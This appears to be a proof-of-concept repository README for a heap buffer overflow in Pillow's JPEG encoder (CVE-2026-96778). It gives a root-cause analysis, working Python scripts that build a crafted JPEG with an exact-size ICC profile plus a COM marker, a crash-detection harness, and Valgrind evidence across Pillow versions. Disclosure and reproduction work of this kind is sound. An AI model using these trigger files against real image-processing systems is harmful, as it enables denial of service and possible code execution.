Proof-of-concept and technical analysis for CVE-2026-96778, a heap buffer overflow in Pillow's JPEG encoder triggered by ICC profile plus COM marker on re-save.
This repository contains a Proof of Concept (PoC), reproduction evidence, and technical analysis for CVE-2026-96778, a heap buffer overflow in the Pillow library (Python Imaging Library).
Brief summary: Re-saving a JPEG image that carries an ICC profile of an exact size and a comment (COM marker) causes a write past the 65,536-byte encoder buffer, corrupting heap metadata and potentially causing a denial of service (crash) up to code execution.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-96778 |
| Component | src/libImaging/JpegEncode.c — ImagingJpegEncode() |
| Vulnerable point | Line 282 (jpeg_write_marker for COM marker) |
| Type | Heap Buffer Overflow (CWE-122) |
| Affected range | Pillow 9.4.0 – <13.0.0 |
| Fixed in | Pillow 13.0.0 |
| Impact | DoS (SIGSEGV/SIGABRT), potential RCE |
| Vector | Local / user interaction (opening & re-saving an image) |
| Advisory | GHSA-g7cr-3p24-7wf7 |
JpegImagePlugin._save() calculates the output buffer size only from
exif and extra (ICC profile), without leaving room for the comment._encode_to_file() (src/encode.c:186) allocates a buffer of
MAXBLOCK = 65,536 bytes.free_in_buffer == 0.jpeg_write_marker() is called to write the COM marker
(JpegEncode.c:282), libjpeg writes 1 byte first, and only
then decrements the size_t free_in_buffer counter.ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK
JFIF_HEADER = 20 # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD = 18 # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD = 65536 - 20 - 18 = 65498 # tepat penuh
With ICC_PAYLOAD = 65498, the buffer is filled exactly up to the last byte.
Adding a COM marker (any length, 1–65533 bytes) triggers an overflow.
The maximum legal comment (65,533 bytes) causes the overflow to write a large
amount of data, making the crash more deterministic. A small comment (e.g., 32 bytes)
still triggers an Invalid write in Valgrind, but does not necessarily crash in a
normal runtime (depending on heap layout and allocator).
| Component | Value |
|---|---|
| OS | Ubuntu Linux x86_64 |
| Kernel | Linux 6.x |
| Python | 3.12.3 |
| Valgrind | 3.22.0 |
| libjpeg | 8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2) |
| Compiler | gcc 13.3.0 |
| Pillow tested | 9.4.0, 9.5.0, 13.0.0 |
| Pillow source | built from source (pip install -e .) |
make_trigger.py — Generator JPEG PemicuCreates trigger.jpg with a 65,498-byte ICC profile and a COM marker.
from PIL import Image
import io, struct
im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()
icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data
def make_app2(payload):
length = len(payload) + 2
return b"\xFF\xE2" + struct.pack(">H", length) + payload
def make_com(comment: bytes):
length = len(comment) + 2
return b"\xFF\xFE" + struct.pack(">H", length) + comment
assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]
with open("trigger.jpg", "wb") as f:
f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")
repro_cve.py — Valgrind-Friendly Reproductionfrom PIL import Image
im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)
im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")
Run with Valgrind:
python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log
poc_advisory.py — Reference PoC (Crash Detection)Based on the official GHSA-g7cr-3p24-7wf7 advisory.
Runs im.save() in a child process and checks the exit status
(negative = killed by signal).
#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image
ENCODER_BUFFER = 65536
JFIF_HEADER = 20
ICC_OVERHEAD = 18
ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498
COMMENT = b"C" * 65533
RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""
def segment(marker, payload):
return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload
def make_jpeg(with_comment):
noise = random.Random(1234).randbytes(256 * 256 * 3)
out = BytesIO()
Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
plain = out.getvalue()
icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
com = segment(0xFE, COMMENT) if with_comment else b""
return plain[:2] + icc + com + plain[2:]
def resave(jpeg):
cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
r = subprocess.run(cmd, input=jpeg, capture_output=True)
print((r.stdout + r.stderr).decode(errors="replace").strip())
print(f"-> exit status {r.returncode}")
return r.returncode
print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))
print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))
if rc < 0:
print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
print("BUG")
else:
print("OK")
| Versi Pillow | Sumber impor | Valgrind | PoC advisory | Status |
|---|---|---|---|---|
| 9.4.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + heap corrupt | BUG (SIGSEGV) | RENTAN |
| 9.5.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + heap corrupt | BUG (SIGSEGV) | RENTAN |
| 13.0.0 | /mnt/Pillow-13/src/PIL | 0 errors | OK | AMAN |
==7310== Invalid write of size 1
==7310== at 0x622410E: ??? (in libjpeg.so.8.2.2)
==7310== by 0x6214569: jpeg_write_marker (in libjpeg.so.8.2.2)
==7310== by 0x61DE40D: ImagingJpegEncode (JpegEncode.c:282)
==7310== Address 0x60ddce0 is 0 bytes after a block of size 65,536 alloc'd
==7310== at malloc
==7310== by 0x61C06B4: _encode_to_file (encode.c:186)
...
valgrind: Heap block lo/hi size mismatch: lo = 65600, hi = 6365935209750747224